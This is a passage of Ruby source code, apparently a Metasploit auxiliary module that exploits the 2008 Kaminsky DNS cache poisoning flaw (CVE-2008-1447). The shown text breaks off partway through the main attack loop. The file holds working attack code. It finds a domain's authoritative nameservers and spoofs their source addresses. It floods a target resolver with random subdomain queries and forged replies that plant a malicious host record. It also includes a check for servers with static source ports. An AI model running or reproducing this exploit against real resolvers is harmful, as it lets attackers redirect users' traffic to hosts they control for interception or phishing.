| 1 | require 'msf/core' |
|---|
| 2 | require 'net/dns' |
|---|
| 3 | require 'scruby' |
|---|
| 4 | require 'resolv' |
|---|
| 5 | |
|---|
| 6 | module Msf |
|---|
| 7 | |
|---|
| 8 | class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary |
|---|
| 9 | |
|---|
| 10 | include Exploit::Remote::Ip |
|---|
| 11 | |
|---|
| 12 | def initialize(info = {}) |
|---|
| 13 | super(update_info(info, |
|---|
| 14 | 'Name' => 'DNS BaliWicked Attack', |
|---|
| 15 | 'Description' => %q{ |
|---|
| 16 | This exploit attacks a fairly ubiquitous flaw in DNS implementations which |
|---|
| 17 | Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single |
|---|
| 18 | malicious host entry into the target nameserver by sending random sub-domain |
|---|
| 19 | queries to the target DNS server coupled with spoofed replies to those |
|---|
| 20 | queries from the authoritative nameservers for the domain which contain a |
|---|
| 21 | malicious host entry for the hostname to be poisoned in the authority and |
|---|
| 22 | additional records sections. Eventually, a guessed ID will match and the |
|---|
| 23 | spoofed packet will get accepted, and due to the additional hostname entry |
|---|
| 24 | being within baliwick constraints of the original request the malicious host |
|---|
| 25 | entry will get cached. |
|---|
| 26 | }, |
|---|
| 27 | 'Author' => [ 'I)ruid', 'hdm' ], |
|---|
| 28 | 'License' => MSF_LICENSE, |
|---|
| 29 | 'Version' => '$Revision$', |
|---|
| 30 | 'References' => |
|---|
| 31 | [ |
|---|
| 32 | [ 'CVE', '2008-1447' ], |
|---|
| 33 | [ 'US-CERT-VU', '8000113' ], |
|---|
| 34 | [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ], |
|---|
| 35 | ], |
|---|
| 36 | 'Privileged' => true, |
|---|
| 37 | 'Targets' => |
|---|
| 38 | [ |
|---|
| 39 | ["BIND", |
|---|
| 40 | { |
|---|
| 41 | 'Arch' => ARCH_X86, |
|---|
| 42 | 'Platform' => 'linux', |
|---|
| 43 | }, |
|---|
| 44 | ], |
|---|
| 45 | ], |
|---|
| 46 | 'DisclosureDate' => 'Jul 21 2008' |
|---|
| 47 | )) |
|---|
| 48 | |
|---|
| 49 | register_options( |
|---|
| 50 | [ |
|---|
| 51 | OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), |
|---|
| 52 | OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']), |
|---|
| 53 | OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), |
|---|
| 54 | OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), |
|---|
| 55 | OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), |
|---|
| 56 | OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), |
|---|
| 57 | ], self.class) |
|---|
| 58 | |
|---|
| 59 | end |
|---|
| 60 | |
|---|
| 61 | def auxiliary_commands |
|---|
| 62 | return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } |
|---|
| 63 | end |
|---|
| 64 | |
|---|
| 65 | def cmd_check(*args) |
|---|
| 66 | targ = args[0] || rhost() |
|---|
| 67 | if(not (targ and targ.length > 0)) |
|---|
| 68 | print_status("usage: check [dns-server]") |
|---|
| 69 | return |
|---|
| 70 | end |
|---|
| 71 | |
|---|
| 72 | print_status("Using the Metasploit service to verify exploitability...") |
|---|
| 73 | srv_sock = Rex::Socket.create_udp( |
|---|
| 74 | 'PeerHost' => targ, |
|---|
| 75 | 'PeerPort' => 53 |
|---|
| 76 | ) |
|---|
| 77 | |
|---|
| 78 | random = false |
|---|
| 79 | ports = [] |
|---|
| 80 | lport = nil |
|---|
| 81 | |
|---|
| 82 | 1.upto(5) do |i| |
|---|
| 83 | |
|---|
| 84 | req = Resolv::DNS::Message.new |
|---|
| 85 | txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
|---|
| 86 | req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
|---|
| 87 | req.rd = 1 |
|---|
| 88 | |
|---|
| 89 | srv_sock.put(req.encode) |
|---|
| 90 | res, addr = srv_sock.recvfrom() |
|---|
| 91 | |
|---|
| 92 | |
|---|
| 93 | if res and res.length > 0 |
|---|
| 94 | res = Resolv::DNS::Message.decode(res) |
|---|
| 95 | res.each_answer do |name, ttl, data| |
|---|
| 96 | if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
|---|
| 97 | t_addr, t_port = $1.split(':') |
|---|
| 98 | |
|---|
| 99 | print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") |
|---|
| 100 | t_port = t_port.to_i |
|---|
| 101 | if(lport and lport != t_port) |
|---|
| 102 | random = true |
|---|
| 103 | end |
|---|
| 104 | lport = t_port |
|---|
| 105 | ports << t_port |
|---|
| 106 | end |
|---|
| 107 | end |
|---|
| 108 | end |
|---|
| 109 | end |
|---|
| 110 | |
|---|
| 111 | srv_sock.close |
|---|
| 112 | |
|---|
| 113 | if(ports.length < 5) |
|---|
| 114 | print_status("UNKNOWN: This server did not reply to our vulnerability check requests") |
|---|
| 115 | return |
|---|
| 116 | end |
|---|
| 117 | |
|---|
| 118 | if(random) |
|---|
| 119 | print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") |
|---|
| 120 | print_status(" This server may still be exploitable, but not by this tool.") |
|---|
| 121 | else |
|---|
| 122 | print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") |
|---|
| 123 | end |
|---|
| 124 | end |
|---|
| 125 | |
|---|
| 126 | def run |
|---|
| 127 | target = rhost() |
|---|
| 128 | source = Rex::Socket.source_address(target) |
|---|
| 129 | sport = datastore['SRCPORT'] |
|---|
| 130 | hostname = datastore['HOSTNAME'] + '.' |
|---|
| 131 | address = datastore['NEWADDR'] |
|---|
| 132 | recons = datastore['RECONS'] |
|---|
| 133 | xids = datastore['XIDS'].to_i |
|---|
| 134 | ttl = datastore['TTL'].to_i |
|---|
| 135 | |
|---|
| 136 | domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] |
|---|
| 137 | |
|---|
| 138 | srv_sock = Rex::Socket.create_udp( |
|---|
| 139 | 'PeerHost' => target, |
|---|
| 140 | 'PeerPort' => 53 |
|---|
| 141 | ) |
|---|
| 142 | |
|---|
| 143 | # Get the source port via the metasploit service if it's not set |
|---|
| 144 | if sport.to_i == 0 |
|---|
| 145 | req = Resolv::DNS::Message.new |
|---|
| 146 | txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
|---|
| 147 | req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
|---|
| 148 | req.rd = 1 |
|---|
| 149 | |
|---|
| 150 | srv_sock.put(req.encode) |
|---|
| 151 | res, addr = srv_sock.recvfrom() |
|---|
| 152 | |
|---|
| 153 | if res and res.length > 0 |
|---|
| 154 | res = Resolv::DNS::Message.decode(res) |
|---|
| 155 | res.each_answer do |name, ttl, data| |
|---|
| 156 | if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
|---|
| 157 | t_addr, t_port = $1.split(':') |
|---|
| 158 | sport = t_port.to_i |
|---|
| 159 | |
|---|
| 160 | print_status("Switching to target port #{sport} based on Metasploit service") |
|---|
| 161 | if target != t_addr |
|---|
| 162 | print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") |
|---|
| 163 | end |
|---|
| 164 | end |
|---|
| 165 | end |
|---|
| 166 | end |
|---|
| 167 | end |
|---|
| 168 | |
|---|
| 169 | # Verify its not already cached |
|---|
| 170 | begin |
|---|
| 171 | query = Resolv::DNS::Message.new |
|---|
| 172 | query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
|---|
| 173 | query.rd = 0 |
|---|
| 174 | |
|---|
| 175 | begin |
|---|
| 176 | cached = false |
|---|
| 177 | srv_sock.put(query.encode) |
|---|
| 178 | answer, addr = srv_sock.recvfrom() |
|---|
| 179 | |
|---|
| 180 | if answer and answer.length > 0 |
|---|
| 181 | answer = Resolv::DNS::Message.decode(answer) |
|---|
| 182 | answer.each_answer do |name, ttl, data| |
|---|
| 183 | if((name.to_s + ".") == hostname and data.address.to_s == address) |
|---|
| 184 | t = Time.now + ttl |
|---|
| 185 | print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") |
|---|
| 186 | print_status(" Cache entry expires on #{t.to_s}... sleeping.") |
|---|
| 187 | cached = true |
|---|
| 188 | sleep ttl |
|---|
| 189 | end |
|---|
| 190 | end |
|---|
| 191 | end |
|---|
| 192 | end until not cached |
|---|
| 193 | rescue ::Interrupt |
|---|
| 194 | raise $! |
|---|
| 195 | rescue ::Exception => e |
|---|
| 196 | print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") |
|---|
| 197 | end |
|---|
| 198 | |
|---|
| 199 | res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver |
|---|
| 200 | |
|---|
| 201 | print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" |
|---|
| 202 | |
|---|
| 203 | # Look up the nameservers for the domain |
|---|
| 204 | print_status "Querying recon nameserver for #{domain}'s nameservers..." |
|---|
| 205 | answer0 = res0.send(domain, Net::DNS::NS) |
|---|
| 206 | #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" |
|---|
| 207 | |
|---|
| 208 | barbs = [] # storage for nameservers |
|---|
| 209 | answer0.answer.each do |rr0| |
|---|
| 210 | print_status " Got an #{rr0.type} record: #{rr0.inspect}" |
|---|
| 211 | if rr0.type == 'NS' |
|---|
| 212 | print_status "Querying recon nameserver for address of #{rr0.nsdname}..." |
|---|
| 213 | answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname |
|---|
| 214 | #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" |
|---|
| 215 | answer1.answer.each do |rr1| |
|---|
| 216 | print_status " Got an #{rr1.type} record: #{rr1.inspect}" |
|---|
| 217 | res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) |
|---|
| 218 | print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." |
|---|
| 219 | answer2 = res2.send(domain) |
|---|
| 220 | if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 |
|---|
| 221 | nsrec = {:name => rr0.nsdname, :addr => rr1.address} |
|---|
| 222 | barbs << nsrec |
|---|
| 223 | print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" |
|---|
| 224 | end |
|---|
| 225 | end |
|---|
| 226 | end |
|---|
| 227 | end |
|---|
| 228 | |
|---|
| 229 | if barbs.length == 0 |
|---|
| 230 | print_status( "No DNS servers found.") |
|---|
| 231 | srv_sock.close |
|---|
| 232 | disconnect_ip |
|---|
| 233 | return |
|---|
| 234 | end |
|---|
| 235 | |
|---|
| 236 | # Flood the target with queries and spoofed responses, one will eventually hit |
|---|
| 237 | queries = 0 |
|---|
| 238 | responses = 0 |
|---|
| 239 | |
|---|
| 240 | connect_ip if not ip_sock |
|---|
| 241 | |
|---|
| 242 | print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") |
|---|
| 243 | |
|---|
| 244 | while true |
|---|
| 245 | randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname |
|---|
| 246 | |
|---|
| 247 | # Send spoofed query |
|---|
| 248 | req = Resolv::DNS::Message.new |
|---|
| 249 | req.id = rand(2**16) |
|---|
| 250 | req.add_question(randhost, Resolv::DNS::Resource::IN::A) |
|---|
| 251 | |
|---|
| 252 | req.rd = 1 |
|---|
| 253 | |
|---|
| 254 | buff = ( |
|---|
| 255 | Scruby::IP.new( |
|---|
| 256 | #:src => barbs[0][:addr].to_s, |
|---|
| 257 | :src => source, |
|---|
| 258 | :dst => target, |
|---|
| 259 | :proto => 17 |
|---|
| 260 | )/Scruby::UDP.new( |
|---|
| 261 | :sport => (rand((2**16)-1024)+1024).to_i, |
|---|
| 262 | :dport => 53 |
|---|
| 263 | )/req.encode |
|---|
| 264 | ).to_net |
|---|
| 265 | ip_sock.sendto(buff, target) |
|---|
| 266 | queries += 1 |
|---|
| 267 | |
|---|
| 268 | # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) |
|---|
| 269 | req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
|---|
| 270 | req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) |
|---|
| 271 | req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
|---|
| 272 | req.qr = 1 |
|---|
| 273 | req.ra = 1 |
|---|
| 274 | |
|---|
| 275 | p = rand(4)+2*10000 |
|---|
| 276 | p.upto(p+xids-1) do |id| |
|---|
| 277 | req.id = id |
|---|
| 278 | barbs.each do |barb| |
|---|
| 279 | buff = ( |
|---|
| 280 | Scruby::IP.new( |
|---|
| 281 | #:src => barbs[i][:addr].to_s, |
|---|
| 282 | :src => barb[:addr].to_s, |
|---|
| 283 | :dst => target, |
|---|
| 284 | :proto => 17 |
|---|
| 285 | )/Scruby::UDP.new( |
|---|
| 286 | :sport => 53, |
|---|
| 287 | :dport => sport.to_i |
|---|
| 288 | |
|---|